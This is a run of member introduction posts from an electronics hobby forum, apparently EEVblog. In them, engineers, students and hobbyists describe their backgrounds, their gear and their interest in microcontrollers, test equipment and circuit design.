I'm currently getting myself ready to go out on my own, and am here to talk about options for meters etc.

Hope I can contribute on some level, but I suspect there is a wealth of knowledge already here that far outweighs my limited experience!
Title: Re: New Member, Please introduce yourself
Post by: AscendedDaniel on October 06, 2011, 10:41:47 am
Hello everyone,

I'm Jason from Santa Clara, CA, USA. I work at a Silicon Valley tech company. Technically, I'm a firmware engineer, but I do a lot of procurement, hardware tools development (including pcb layout as well as mechanical tools), and design of automated testing. I do analog and digital EE, mechanical, and software engineering.
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Post by: goldenrebel on October 09, 2011, 11:18:26 pm
Hi!

I'm an electrical engineer by education, but spend most of my time in systems engineering.

Peter
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Post by: BloodyCactus on October 11, 2011, 12:04:05 pm
Hiya. I'm another Aussie, living in the usa tho (wife does not want to move 'home') :( software engineer for largest nuclear company in the world.. just getting into electronics as its one of my winter projects is going to require a pcb/chips/etc.. should be quite fun!
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Post by: dougsisco on October 15, 2011, 04:52:30 am
I'm Doug Sisco, and I'm a 1988 EE Lafayette grad. I've been involved with many embedded and programming projects both in industry and at home. Lately I've played with the MSP430, the Mbed, and the Parallax chips. You can visit my website at http://www.dougsisco.com (http://www.dougsisco.com). 
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Post by: pcbraSil on October 16, 2011, 10:20:17 am
Hi,

I am a brazilian student who enjoy electronics and to know how things work.

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Post by: Makezilla on October 16, 2011, 03:12:47 pm
Hello from Canada.  I've been a programmer for years but was recently introduced to arduino and have since been rediscovering an old interest in electronics.  I have watched several of the videos here and have found them to be an awesome resource.
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Post by: SiBurning on October 17, 2011, 03:18:11 pm
Took apart my first radio when about 5 years old. Managed to put one back together at 11. Gave up the hobby around 1992, but got involved again a bit a few years back. Was (and am) mostly into audio--restorations and fixes. Do a bit of kit building, too. Haven't designed anything since 92, though.

My nick is... well... I love the smell of silicon (burning) in the morning.

My day gig is computer programmer.
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Post by: Puma on October 17, 2011, 05:09:09 pm
Hey, I'm Matt from Illinois.  I'm 26 with a BSEE degree and am currently looking for a job. 

My main interests in electronics are with RF and microcontrollers.  I have a General amateur radio license KC9SCJ, but currently only have a 2 meter HT.  I hope to buy my first oscilloscope soon which will help me with debugging mcu peripherals and in producing my own receiver/transceiver circuits.
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Post by: ellisg on October 20, 2011, 01:25:14 pm
Hello there, I am Ellis a student of electrical engineering.  I am most interested in diy projects concerning a remote control car servos and the main component of running them.  Though my latest builds are geared toward simple weather stations I could implement portably, which meant that some third party power source had to be used aside from the one you could port on your car trunk.
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Post by: Mikedelectric on October 26, 2011, 12:10:26 pm
 :D Hi, an Electrician by Trade, (if I'm lucky enough to find work), I zigged when most everyone i see here zagged, Have been working on the Large stuff compared to all the

small stuff everyone else works on normally. Have been brushing up on my Electrical theory and soldering skills,and watching all of Dave's videos.

Have learned alot, and enjoyed the Dmm testing, Dave probably  saved me from blowing my hand off with one of the One hung low brand Dmm's!!
 
Have a Fluke 189, and will be keeping an eye out for a fluke 87,(can't have to many test meters!!), will be looking forward to all the posts and blogs on the EEv blog web site. :D
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Post by: don.r on November 13, 2011, 06:00:44 am
Hello everyone (and Dave),

I'm a retired EE from Canada. Nice to see such a blog and forum on the web aimed squarely at us tinkerers. Remember, disassemble before reading the manual!  ;D
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Post by: kaz911 on November 13, 2011, 10:07:30 pm
Hi im Kaz, about 40 years old. EE from a long time ago and have not used my EE skills for years. So I'm trying to catch-up and restock on tools and components etc. :-)

I used to work in a Kit company like "Velleman" doing everything from Test, Assembly, Construction, and *sigh* kit packing. At that time it was Protel and Orcad. The company I worked for was one of the first to do PC Cards in kit form (ISA) and published an Electronics Magazine. So I built MIDI cards, Network cards (ARC Net if anyone remembers - coax 1mbps) plus FIBRE implementation of ARC net (and testing each card with 2 km fibercable on a big drum...) and a lot of other things. And then of course wrote the some of the software for it.. That was all < 1988.

Then I became an editor of PC World in scandinavia - then the Internet happened and now I am in the United Arab Emirates - looking to update my old skills and maybe do a bit of construction. :-) But I worked on PC 's with 4.77Mhz and 8Mhz turbo... And now even my phone runs GHz.  So I have a lot of catching up to do.

Nice to see you all and hope to learn even more than I already have.

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Post by: mcinku on November 14, 2011, 09:24:09 pm
My name is Mirc and I'm 39 living in Slovenia.
I work in IT but I have some background in electronics... my high school education is electronics science.
My main interest are old tube amps... I build them, fix them, mod them and play them...

Since I'm following EEVblog I also became electrical measuring tools adict.  :o
Just an example, ... before I was quite happy with my old Voltcraft multimeter, it does everything what I need, even with only 4000 counts and 0.9% DC precision... but now I have four (40.000, 50.000 counts - 0.025% precision) and two of them are Fluke obviously... damn I hate you Dave.
 ;D
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Post by: scarletpimpernel on November 15, 2011, 08:37:31 am
Hi everyone,

Ahmed from the UK.  Ph.D. in Computer Science from Cambridge and M.Sc. in Microelectronic Engineering from Manchester.

Currently interested in on-chip networks from a reliability and redundancy perspective, as well as hardware emulation of microcontrollers using FPGAs.

All the best ..
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Post by: John Wilson on November 18, 2011, 01:21:48 pm
Hello, everyone (and Dave, of course).

I have recently come back to electronics after discovering microcontrollers. My background is programming (since 1973) and some electronics. I'm trying to relearn everything and get back up to speed. At this point I've concentrated on PIC microcontrollers using assembler.

I've been a career firefighter in Canada for the past 20 years and developed an e/911 interface and developed a rudimentary (very) computer aided dispatch system.

john
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Post by: spikyjoe on November 20, 2011, 05:22:41 am
I am an Electronic and Embedded software engineer from the UK.
I currently work in the off-highway automotive sector.
 ;)
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Post by: CosmicGecko on November 21, 2011, 08:05:06 pm
Howzit from Hawaii,

I'm a software engineer by trade, but have always had an interest at the hardware level -- despite not having any formal training or a degree in Electronics Engineering. Looking forward to studying some of the designs and project ideas posted in these boards.
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Post by: justy on November 22, 2011, 10:26:28 am
Hello, I'm Justin- my website is http://justy.me (http://justy.me) and I run Arduino Workshops for Little Bird Electronics.  I'm a digital guy trying to improve my analog chops.

I make my own double sided boards and solder SMD under a microscope.  Last night I made an 8x8 SMD LED display that's 15mm squared.

I'm looking for some advice on how to troubleshoot my Kikusui DSS5040's storage mode (the trace just sits in one spot now) but I'm not sure where the best place here is to post such a question?

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Post by: PeteH on November 24, 2011, 10:50:13 am
Hi Everyone,

I am an Electrical Engineering Student in Canada. I have watched videos on the blog for a long time and only recently joined the forum. My interests (passions) are PCB design, Schematic Design and of course, electronic analysis (Mostly a fan of power systems). I have experience with the Cadence tool set, RISC/ARM architectures, HDI design and low/micro power circuits.

-Peter
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Post by: benkev on November 25, 2011, 12:00:11 pm
Hello,

I am Leonid Benkevitch, or simply Leo. I am physicist and I work in MIT Haystack observatory in Westford, Massachusetts. However, I live in New Hampshire, on the border with Massachusetts.
Electronics is my hobby. I joined this forum due to my interest in hacking the Hanteck DSO5102 digital oscilloscope inflamed by the user "tinhead".
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Post by: tamtam on November 28, 2011, 09:36:14 am
Hi

I'm Mike from Switzerland. I work in industry as electrician. I came to the blog when I searched information about multimeter :) In my job I work more with PLC and drives, than with electronic.
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Post by: Fir3Chi3f on November 28, 2011, 06:58:02 pm
Hello! I am an Eastern Illinois University student and currently majoring in Philosophy and Computer Science. I found Dave's blog when my ex girlfriend asked me to fix her kindle and I looked up a video to open the darn thing. Turns out it was still under warranty and I didn't have to open it, but I've been going through almost all of his videos since. What got me hooked was the knowledge of each component and how they were all assembled.
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Post by: The_Penguin on November 29, 2011, 05:47:56 am
Hi all. I'm a Canadian computer geek by trade, but have been into electronics for (counting.....) 37 years!

I don't do much if any design work, and my circuit analysis knowledge is crap, but I'm a damn good solderer and am pretty good at component level repairs :)
I *have* made my own PCBs (toner transfer method)

Came here from a link in a repair forum about DMMs, and am hooked on Dave's videos.
Love 'em!  Keep 'em coming!
On my (messy) bench: Hitachi V-212 Scope, Fluke 77 DMM, Old Radio Shack DMM, older Radio Shack Analog MM, no-name Chinese variable supply, home-made curve tracer, ESR meter, home made 5V supply, home made 12v supply, crappy home-made function generator (Exar 2206 based I think). A 30 year old Weller WTCP station, and a Hakko 936.
I've always had a bit of a mental block with AC theory and ground loops etc. so even though I'm an old-timer, expect some n00b questions in the beginner forum :)
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Post by: willb on November 30, 2011, 02:47:40 am
Hello fellow EEV users!

I'm Will, 23, and I am located in Canada (Halifax, NS). I work in avionics and play with electronics on my own time at home. They say a picture is worth a thousand words... Here is my lab in my basement.

(http://one.scfhosting.com/shareit/rigol/1.jpg)

-Will
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Post by: Ed.Kloonk on November 30, 2011, 05:49:20 am
I like the way the snowboard is on the wall, ready for action.
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Post by: electronSpin on December 01, 2011, 06:40:27 am
Hi Everyone

I'm Pete, I have a background in physics and currently working in the NMR field of science.  My main interests lie in microcontrollers, and I hope to get into FGPAs at a later date. 

Have a great day everyone!

pete


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Post by: y33t on December 02, 2011, 05:06:19 am
Hi all,

I am Yigit, writing from Istanbul/ Turkey. Bachelor in electrical & electronics engineering with a master of science in physics going towards a phd (like it worths something lol).  I am interested in a variety of things  from subatomic behavior to cosmic structure and everything between. Also, of course, hot women!  :)  I am not prententious or anything (except the women) I consider myself a guy who just likes to learn stuff. I will do my best to contribute to this platform and share what I got.

I accidentally discovered this place and it's a shame that I didn't do it earlier. Anyway, I rise my glass to everyone, cheers!


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Post by: ee851 on December 02, 2011, 08:29:57 am
Hi everyone

My name is Allan.   I am  an unemployed electronics and embedded software engineer in the USA.    I have both mechanical and electrical engineering degrees from university.
I just signed up to play nice with all my fellow nerds here.
I am also interested in science-related stuff like physics, chemistry, semiconductor physics, signal processing, both analog and digital, astronomy, and science in general.    I am a linux user.   I am also a ham.
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Post by: Ellis64 on December 04, 2011, 01:50:40 am
Hi everyone,
I am Ellis from Athens/Greece and I work as an electrical/electronic engineer in a company based in MI FL USA but the actual work scene is mostly out of US. I have also apart from my real work, electronics as hobby too. I have interests in many fields of electrical engineering as embedded electronics, power electronics & automation, some RF and off course circuit design.
I will be very happy to share ideas and experience with people with same interests.
I wish all the best to all mates in the community (this one and globally).
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Post by: Andy E on December 05, 2011, 05:58:43 pm
Hi dear all, i am Andy E. and come from China. i am working as a sales engineer for pcb &pcb assembly& housing. i wish share THE  newest tech inofrmation here. and meet more freinds. wish all the best to u all. :)
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Post by: steff on December 07, 2011, 06:22:03 am
Hi, I'm Steff, a systems administrator (Linux, mostly, with occasional forays into BSD and Solaris) originally from Cambridge but living and working in sunny East London.

More of a software guy, as yet, but slowly rediscovering an interest in electronics first kindled by a Merit kit when I was a kid (built the usual AM radio receiver). Came for the kit reviews (bought an Agilent meter on Dave's recommendation a year or so ago and found it a delightful change from off-brand cheapies I'd had before) but have found myself more and more interested in designing and building my own circuits.

Particularly interested in synth/audio DIY (which I lack the electronics chops to do, as yet) and UAVs.

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Post by: The_Penguin on December 12, 2011, 05:11:13 am
Hello fellow EEV users!

. They say a picture is worth a thousand words... Here is my lab in my basement.



Nice bench!  Gotta ask, is that a rubber duck on your desoldering station? Or is there a HT in behind there? :)
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Post by: AndrewS on December 12, 2011, 09:20:47 am
Hi I'm Andrew, long time forum lurker first time poster.

I have a Diploma in Robotics and Automation and am currently finishing up my Bachelor's degree in electronics at night school. During the day I work at a company that makes controllers for building automation doing electronics hardware testing. I don't get to do much design at work just mostly test other peoples designs.

I'm interested in analog and digital electronics although mostly have experience in digital electronics. I would like to learn more about FPGA and CPLD programming and maybe doing some projects with those. Currently I am working on my final project for my degree which is a quadcopter, the hardware is basically done its just a matter of getting the software working properly.
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Post by: electrickery74 on December 14, 2011, 01:04:32 pm
well.i am michael from adelaide australia and i have nooo qaulifications or dergees in anything electrical.just a strong interest in mainly higher voltage electronics like marx generators hv multipliers, transformers which i built and planed to run a tesla coil  with. but i dont have the smarts for the coil side of things so i shelved that idea.and yes it all started with nans old black and white tv that i salvaged .but as of recent i have become interested in power mosfets, thyristors,sidacs and igbt modules after years of gathering them.so i realy am liking the idea of induction heating .now after aquiring a scope,a bwd mini lab a pulse gen and  a shed full of goodies its time to learn some basics lol. any hoot thats me.
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Post by: electrickery74 on December 14, 2011, 01:47:17 pm
mmm knew i forgot to post something.my variable voltage, variable frequency marx generator.nothing special but worth a looksie.                 marx generator (http://www.youtube.com/watch?v=6of4CJAw6-4#)
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Post by: 12AX7 on December 17, 2011, 03:42:05 am
My name is Paul from Quebec (Canada), hobbyist, getting into Arduinos and such.
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Post by: RCD on December 18, 2011, 12:54:54 pm
Hi.  My name is Luke.  I am an engineer who owns my own product design company in California. The EEVBlog is a near addiction.  Great fun.  Great learning!  I love it!
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Post by: ElectroElvis on December 20, 2011, 10:16:48 am
Hello, i am Elvis orignialy from Slovenia but i moved to Austira this year. I love electronics it was always my favourite thing. I couldnt afford anythgin by now. I am starting from "strach" as gear related and i am willing to learn and ask a lot of question.

Currently i am slowvly reading book The Art of Electronics 2nd edition.
Slowly i will buy essential gear and hopefully realize my concepts that i drew in my secret notebook:D

OH and i have no previous school knowladge or anything about this :)
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Post by: altech6983 on December 22, 2011, 05:22:07 pm
Hi I am Albert, I have lurked the forums for a while now and finally got around to signing up. I'm a student at Texas A&M. I love electronics and have been fooling with them since an early age as my dad was a repair technician.

Well back to lurking :D
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Post by: Greg J on December 28, 2011, 11:42:24 am
Hi,My name is Greg (doh), and I found out about EEV blog just before xmas. And I'm hooked. David is a great guy (at least on video ;) )
I think I've watched pretty much all episodes by now, (something like 700GB of data for the past 2 weeks - got 50mpbs connection at home).

Anyways, I'm a principal software engineer by day at medium firm here in Belfast. I do all sorts of things in the evening, including electronics. I like to stick to analog electronics if possible (software is too easy ;)).
Anyway, if you're in the area - give us a shout, there seems to be little going on in NI in terms of electronics etc (especially robotics).

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Post by: paf on December 30, 2011, 09:31:31 pm
Hello.
  I am Paulo (paf), from Portugal.  No koalas or kangaroos here, but we have eucalyptus!
  Like to play with micros and electronics.

   
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Post by: Cognito on January 01, 2012, 01:36:21 am
Hello!
My name is Martin and live in southern Norway. I have always been interrested in electronics and experiments of different kind, and finds Dave's blog very interesting, good work Dave ;)  In my spare time I currently work with the Arduino microcontroller and a Rover robot. I'm still in 10th grade (so I'm sorry for any spelling mistakes), but get some money to run my little lab from repairing Iphones and Ipods. 

Happy New year!
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Post by: grant1842 on January 01, 2012, 02:45:28 am
Hello all .
My name is Grant I work in the automobile collision industry.
I repair Computers(laptops, Desktops,etc) . I do PCB level repair on Computers. LCD TV, Monitors in my spare time.

I just got an Arduino UNO r3 and having fun learning how to use it.
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Post by: victorf on January 02, 2012, 12:53:36 am
Vic Fraenckel from upstate New York, USA. I run a tiny company (one man) that produced instrumentation mainly for hot air and gas ballooning. The instruments are controlled by embedded micros. I am the chief cook and bottle washer and do all electronic design and assembly and create all the software. I don't think I will ever get rich doing this but then I am over 70 years old and don't really expect to.
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Post by: PA3BNX on January 02, 2012, 07:47:57 am
Hello everybody,

I live in the center of the Netherlands.

I am unemployed but do a lot of programming in Visual Studio.

with my SuperSimpleSoundDopplers.

(It's a VHF DSP Radio Direction Finder working on the soundcard of a PC).

See our radio clubsite on:

http://www.pi4wag.nl/index.php/pseudo-doppler-radio-direction-finder (http://www.pi4wag.nl/index.php/pseudo-doppler-radio-direction-finder)

I do have a lot of building and reparing experience in electronics.

I did give some ham radio cources with much succes in the recent past.

I am working now on a HF Direction Finder with two magloops 90 degrees crossed

Also readout on the PC with the soundcard

My goal is to write better VisualBasic and C# programs

And do nice things for the radio community here in the Netherlands.

I like to design, try and upgrade simple interfaces with the PC.

I did also write a lot of stepper motor software for very simple LPT port Hardware.

So I think this is a nice forum.

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Post by: Yael on January 02, 2012, 08:31:10 am
Hello, I'm Yael. I'm from Canada.

I have always had a huge interest in electronics and I am considering going back to school for an Engineering degree. I am 23 and at the moment have a couple of liberal arts degrees and am just finishing up a fine arts degree in photography but engineering is my passion.
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Post by: rubberdog on January 03, 2012, 12:43:34 am
Hello Community,

my name is Rudi, I'm from Austria and living in Vienna. Since 2 Years I'm retired and have now enough time (but not real  :'() to dip into the giant world of microcontrollers. The reason is that I'm a member of a model railroad club and we need to upgrade our old fashioned electronic components to a new technic. For this reason I buyed from MikroElektronika a development board together with a C-compiler and now I have to discover a lot of new things  ::). Recently I ordered a DSO for measuring purposes and want to look what happens on a RS232 or a DCC protocol data flow.

After having a look througt this very interesting forum I have the impression that there is a lot of well knowing guys who may support me in case of any troubles  :-* (and of course if I get more experience I can provide you my knowledge as well).

All the best for you and don't breath in too much soldering smoke  ;D

Rudi
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Post by: Martin_bg1 on January 03, 2012, 09:09:09 pm
Hello everybody,
My name is Martin, I live near Sunnybeach in Bulgaria. I love to play with Pics and power electroncs, but I hate big booms  :) .
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Post by: CraigHB on January 04, 2012, 08:13:48 pm
Hi folks,

Signed on here a couple days ago.  I'm an EE and an electronics hobbyist.  I'm in Reno, Nevada, USA.
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Post by: EternityForest on January 05, 2012, 03:08:58 am
Hello! 17 years old, 18 in a month, lived in seattle all my life. Going to start college soon!
I have been doing electronics for a few years now, mostly digital, though the circuit i recently built for a robotics startup was all analog. Love your webseries, Dave!
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Post by: G7PSK on January 05, 2012, 03:34:40 am
Hi I am Nigel G7PSK I came across this site recently when researching for a new portable scope for checking generators which has been an interest of mine since I built my first one out of an old milk float motor when I was 15 I will be 60 in October. I am a radio ham but my passion has always been power the more the better I got hooked when I turned that motor into a 600 amp generator to supply power to my lab (shed)at the bottom of the garden it is marvelous what you can do with 14 plus KW at 24 volt when you are a teenager, car batteries are gone in a flash for a start arc lights are fun too. I love the way Dave presents his topics I especially like the one where he tests the meters with a large bank of power capacitors.
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Post by: markedagain on January 05, 2012, 03:47:59 am
Hey all,

Im Mark from montreal Canada. im 30 and im a software engineer for a movie streaming website. i started electronics as a hobby a few months ago and im hungry for much more. recently i slowly started to get into microcontrollers and its the coolest thing in the world, my analog skills are soso, im still trying to get most of the basics. ( i just found out this week i should always have a bypass cap on all ics :) )

anyway look forward to discussing more electronics with everybody.

P.S. Dave you have made yourself an  invaluable asset to the industry, and i applode you for it . keep up the great work, im learning so much watching all your videos, im at episode 100ish. subscribing to your donation to keep you going as long as you can thank you again and keep on inspiring.
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Post by: SteveUK on January 05, 2012, 01:38:31 pm
Steve from the UK here,

Dave's enthusiasm has sucked me back into electronics after about a 20 year gap (a gap full of science and software development).  I've now dusted off all my electronics bits and bobs from my teenage years (with component drawers lovingly labelled with those crappy plastic dymo strips).

All I need now is to find a cheap analog scope. The scopes on ebay in the UK seem to be few and far between and of unknown condition. Pehaps my oscilloscope quest belongs in a different post though :)

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Post by: Sedengr on January 08, 2012, 09:05:45 am
Howdy,

I'm a designer of AC induction motors and a hobbyist.  Have been looking at the new things coming out and decided it was time to finish up some languishing projects and see what new things are available to try.

Sedengr
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Post by: IC on January 11, 2012, 07:07:53 pm
Hello to everyone out there. I'm a teacher (not of electronics) but with an interest in Electronics.

I live in south western Sydney, my interests are Photography, Graphic Arts, Woodwork (Boxologist) and of course Electronics.

Being a little older than the young generation it was quite a task to get registered and participate in this site, I suppose I'm still an analog unit in this digital world. Blogs are a whole new world to me, however, sadly my only proficiency is DataBase design ....... I consider myself an expert here, sadly my colleagues would beg to differ.

I'm currently in the process of setting up a workbench, I have decided to cast of all my old gear, most of which is failing me or failed long ago. I have committed to go all new, this has offered a lot of problems to me as I'm really unsure of what gear to purchase. I have already committed to a new GW Power Supply and a Fluke 289. I would appreciate any advice on the following areas ...... Soldering Station (Hakko or Weller or .....), Function Generator & Counter, Bench top MM (four wire) ...... there are just so many out there .....though I like the consistency of GW as I'm committing anew.

I'm open to all suggestions re equipment purchase and value you direction as I believe that if you have had the sincerity to reply you genuinely wish to help me ...... I thank you in advance ..... best wishes to all IC

Any other gear to recommend and contacts for within Australia would be appreciated, thank you.
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Post by: Rerouter on January 11, 2012, 07:31:06 pm
Hello All

My name is Ryan, and I live in Sydney,
I'm an instrumentation apprentice, and specialise in automotive instruments,
mainly a hobbiest, who up to this point has been teetering on the edge of getting boards fabbed.

a happy watcher of this blog, and enjoy daves unique spin
and hoping some time in the future he goes to kit up a function generator / counter :)
Title: Re: New Member, Please introduce yourself
Post by: westfeild on January 15, 2012, 02:24:27 am
Hi, i'm a refrigeration/air con engineer from the UK with no formal Electronics education, but was into hobby electronics in the early 80's and now starting to get back into it after being encouraged by the video blog.
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Post by: Michael B on January 15, 2012, 03:23:53 am
Does anyone actually read all of these? Just in case, here it is.

I stumbled onto Dave's blog as I was researching the internet for a new multimeter. I am still using a (very) old B&K model 2845 that I bought when I was still in school back in the early 80s. Still looks good and works well. I even still have all the original paperwork and box, but it isn't exactly, . . . um, the most useful meter.

Anyhow, I'm not an EE. I went to school to be an Aviation Electronics & Instruments Technician back in the early 80s. I worked as a bench technician for 2 years after school, but then got a job with the commercial airlines. Gradually I forgot most of what I learned. 19 years later I got another job as a bench/field service tech and had to slowly learn again. I did that for about 1-1/2 years, then back to aviation.

I am amazed to watch guys like Dave open a box, look at a pcb and tell what kind of circuit he's looking at without a schematic. I know this comes with time and experience, I wish I had. So, . . . I'm here to learn. Probably won't post much, just lurking and learning. :)
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Post by: Kevin.D on January 16, 2012, 05:09:57 am
Hi I'm Kev from England .
I started with my interest in electronics in my mid teens in the early 80's . I got a 200 in 1 electronics set just like Dave's in my teens and spent many many hours  making the circuits in the book .After I finshed with the circuits in the book I soldered a dip socket in place of one of the fixed ic's so I could really extend it's use . :) 
I still have my 200 in 1  along with my very first serious electronics project "yep the almost obligatory 0 to 30v linear power supply" which I was very proud of .lol

I never went into electronics as a career, it was always a serious  hobby interest  up until
the 90's when when It kinda got left out as I had other interest's .Watching Dave's and others videoblogs on line the last few months has rekindled my interests and
I have started to reread all my old electronics books  again ,Its surprising how much you forget after 20 or so years out of it ,but revising isn't as hard as being a newbie . :)  I still have all my old lab equipment and drawers and drawers full of components from the late 80's .Looking forward to future blogs Dave .Thanks
Title: Re: New Member, Please introduce yourself
Post by: The_Penguin on January 16, 2012, 10:48:19 am
Does anyone actually read all of these? Just in case, here it is.


Nope.  :)
Title: Re: New Member, Please introduce yourself
Post by: Michael B on January 16, 2012, 02:57:40 pm
Does anyone actually read all of these? Just in case, here it is.


Nope.  :)

Not unless you are really bored!  ;D
Title: Re: New Member, Please introduce yourself
Post by: electrickery74 on January 17, 2012, 12:01:12 am
Does anyone actually read all of these? Just in case, here it is.


Nope.  :)
sure do i read each one with entusiasim.
Title: Re: New Member, Please introduce yourself
Post by: siliconmix on January 20, 2012, 06:12:31 am
hi
just a quick introduction .my names bill .it took a while to get my activation email but neva mind i'm here now.
Title: Re: New Member, Please introduce yourself
Post by: picolater on January 21, 2012, 05:19:25 am
New Member
Name Brian
Canada

I'm a Hobbyist who has been following Dave's Blogs since the early beginning.

I mainly got started in electronics with Pic Micros.
After many years of playing with Pics I put up a website targeting Elec-Hobbyists interested in Pic Micros and PicBasicPro.
I kept the site low keyed as Pic Micros are rather long in the tooth now thanks to Arduino etc.
However, thanks to Dave's blog I decided to bring it forward. I started the process of making it open source and may continue depending on the level of outside interest.

These type of sites are a dime a dozen now and I don't expect it will generate much interest.
Just thought I would share it with you in case there are any newbies interested in PicbasicPro.
http://challenger.byethost9.com/index.htm (http://challenger.byethost9.com/index.htm)

Kind Regards,
 Brian



 
Title: Re: New Member, Please introduce yourself
Post by: awh4992 on January 21, 2012, 05:40:07 am
Just joined the forum, but I've been watching Dave's videos for a while.

Anyway, I'm Andy, I'm from NY, USA and I design a lot of my own hardware/embedded software projects when I'm not doing similar stuff at work.  My mirco of choice is a PIC w/ the CCS compiler.

I'm also interested in Linux and getting Linux up and running on small devices.  Altium Designer is by far my favorite schematic capture/layout tool.  I do all my own schematic capture and layouts (used to do that at work for PCBs up to 16 layers, but that got really old).

My blog has information on the projects I've been working on related to Electrical Engineering here:  http://batman.homelinux.com/blog/ (http://batman.homelinux.com/blog/)

-Andy
Title: Re: New Member, Please introduce yourself
Post by: blackman on January 23, 2012, 08:50:57 am
Hello, Im Matt. From Australia! I'm a sparky(electrician) by trade, I have worked in the Industrial Commercial and Domestic sectors. Im focusing on Industrial work now, its more rewarding. Im also studying Instrumentation as well, as I have the knowledge from my trade but no piece of paper to prove it.

Electronics has been a hobby for many years before I even decided to do it for a trade. I love it!
Title: Re: New Member, Please introduce yourself
Post by: nrgeek on January 24, 2012, 06:27:32 am
Wow this is a long thread lol .. but I guess I need to make it just a lil bit longer :)

Ive been reading eevblog for several months .. found it via youtube .. looking for some info on lcd tv ..
Anyway ... I live in Chattanooga, TN USA, been here since 1989, came here via Morgantown, WV my home town for the first 20 or so years .
Im a computer tech / IT manager .. been in the computer biz since the early 90s. I was just a board swapper  for many years .. the chips and bits where a curiosity to me .. but just didnt have the info to delve into board level repairs .. but then around 97 ..  the store I worked for at the time kept getting laptops with broke power connectors.. so I could see this was an area I needed to learn more about.. so with a little digging around on the net.. was much less info back then .. I learned how to become  good at solder work and was turning a good profit fixing broke ac adapters ..this led into more and more digging into board level repairs.. now Im wanting more .. want to do some projects of my own from scratch .. so Im slowly acquiring a lab .. just bought my first scope 100mhz tektronix analog used on ebay 80 bucks.. I have a smd rework hot air gun, several good solder irons, a doz multimeters, esr meter, .. and have been reading all the related books and web sites I can get my hands on .. I was already a electronics junky .. now my wife really will have something to bitch about lol  .. there are some days .. Id like to trade her in on a woman that is geeky as I am and likes to fish too .. if that happened .. Id be dead and in heaven  :D
Title: Re: New Member, Please introduce yourself
Post by: calin on January 24, 2012, 10:09:25 am
And I am going to make it even longer.

Hi I am Calin .. geez that sounds like I am @ an AA meeting !!  :)

Finally I joined the forum after a good while watching Dave's video blog which is just great. I am an IT engineer (yes that is engineer not programmer :) ) , living in Phoenix, AZ .. which is waaay more sunny that "sunny England" as someone on the thread was saying. Been all over the place so far - Europe/Ireland (there you go sunny England), Canada (frozen & sunny) and now US (sunny indeed .. but too hot sometimes).

I turned to electronics so I don't run completely dumb due to what I am doing @ work and obviously because I really like it!  I work in financial industry - in IT of course - but man !! that can cause some serious brain flatness :) 

I am really really bad @ programming .. then a bit better at design with numeric circuits and absolutely brilliant when it comes to analog design. Now negate that .. and read in reverse order !!

Joke aside, the info on the forum and the EEV site is just great info for someone who is into this hobby.

See you around !!



Title: Re: New Member, Please introduce yourself
Post by: damo on January 25, 2012, 12:52:03 pm
Just realised that I never formally introduced myself. Trying for the record wall of text here in Intros :P

I'm Damo obviously ;) I joined after watching some of Daves blogs on oscilloscopes especially the one where he bags those silly iPod shaped ones. He recommended that joining up here would enable me to find a nice cheap oscilloscope which I am still looking for and eventually decided that I should save up the $$$ for one of those Rigols.

Lets see. I studies first year Electronic engineering AND had an apprenticeship as an electronic technician at the same time, but since I needed the money, the apprenticeship won out. I have worked as a technician fixing TV's, videos, CDs etc as well as working on radio installations and repeaters in the outback of Australia for 8 years or so.

Since I was around 6 years old, I have written a lot of software for computers and would have made millions (lol) if I had been born around 10-15 years after my actual birth date. Anyway, I completed a degree in Information Technology with a computer science major in the year 2000, just in time for the big global dot com melt down. So jobs in IT were very scarce and jobs for graduates were even scarcer so I needed to fall back on something. Foolishly I enrolled in a grad dip in education and became a high school teacher for around 7 years which paid the bills, but I have found that teachers are frowned upon in the commercial IT sector despite the amount of actual software development/analysis you do as a teacher (and I did a lot of it).

As well as teaching IT, I taught electronics which was a lot of fun. The students found that doing things like blowing up electrolytic capacitors and annoying other staff with function generators and speakers was a riot. Probably the funniest thing that happened was when one of the students used a function generator to exactly emulate the fire alarm using the frequency ramp. A bunch of them then recorded it on their mobiles and played it back during class.

Anyway, I'm now working as a computer trainer and analyst at a university here in Oz. I do repairs to mates rigs and I like to experiment with electricity and build useful devices.
Title: Re: New Member, Please introduce yourself
Post by: dpalme on January 25, 2012, 03:22:02 pm
Hey there everyone. My name's Dylan, I'm an electrical engineering student here in the states. Been watching the EEVBlog for about a year now and let me tell you, I've learned more from Dave and from taking crap apart than from this damn school.
Title: Re: New Member, Please introduce yourself
Post by: g137556s on January 26, 2012, 07:59:08 am
Hello everyone!!!

I'm Robert and I'm getting addicted to electronics.  I have been looking around the web trying to learn more and stumbled upon Dave's Eevblog on YouTube and watch it every night.  I have been working with integrating Arduino's with LED lighting and fans for some lighting projects which has got me started.  Anyway, I hope to get to the point where I can design and manufacture my own PCB's soon.  Been fiddling with Eagle.  But if anyone has a better recommendation, let me know!

I am in Houston, Texas, USA
Title: Re: New Member, Please introduce yourself
Post by: rantonides on January 26, 2012, 06:04:49 pm
Hi.  I'm an EE in Vancouver, Canada.  Watched every video here and listened to every Amp Hour.  I have a robotics company and mostly work in the bakery automation industry.

Cheers
Title: Re: New Member, Please introduce yourself
Post by: ChrisW on January 26, 2012, 08:51:37 pm
G'day folks!

Been lurking around the forum after stumbling across one of Dave's videos on Youtube and I finally decided to hit the join button. I'm a noob to electronics, I know the basics but that is about it. Hoping to get started on some projects soon. I am also teaching myself to program since I would love to get into working with FPGA's and design my own retro video game flash carts so I can develop and play my own games. I know such devices already exist but I would prefer to design and build my own.

see ya round!
Title: Re: New Member, Please introduce yourself
Post by: harnon on January 27, 2012, 05:17:32 am
Hi Guys,
My name is Will and I'm originally from Melbourne but now living in Oxford and studying Motorsport Engineering- i.e. Mechanical.  (My first career choice and I didn't really get along).

I'm a big fan of Dave's blog which I only discovered a couple of months ago but now check several times a day in case something new has been posted!

I have a website if you are interested with some PIC tutorials (notes taken as I taught myself) and write ups of projects I am working on. 

Happy Australia Day! (At least it is here for 6 more hours or so!)

Will
Title: Re: New Member, Please introduce yourself
Post by: nrgeek on January 27, 2012, 05:35:41 am
What is the web address ? you left that part out :)


Hi Guys,
My name is Will and I'm originally from Melbourne but now living in Oxford and studying Motorsport Engineering- i.e. Mechanical.  (My first career choice and I didn't really get along).

I'm a big fan of Dave's blog which I only discovered a couple of months ago but now check several times a day in case something new has been posted!

I have a website if you are interested with some PIC tutorials (notes taken as I taught myself) and write ups of projects I am working on. 

Happy Australia Day! (At least it is here for 6 more hours or so!)

Will
Title: Re: New Member, Please introduce yourself
Post by: harnon on January 27, 2012, 05:45:21 am
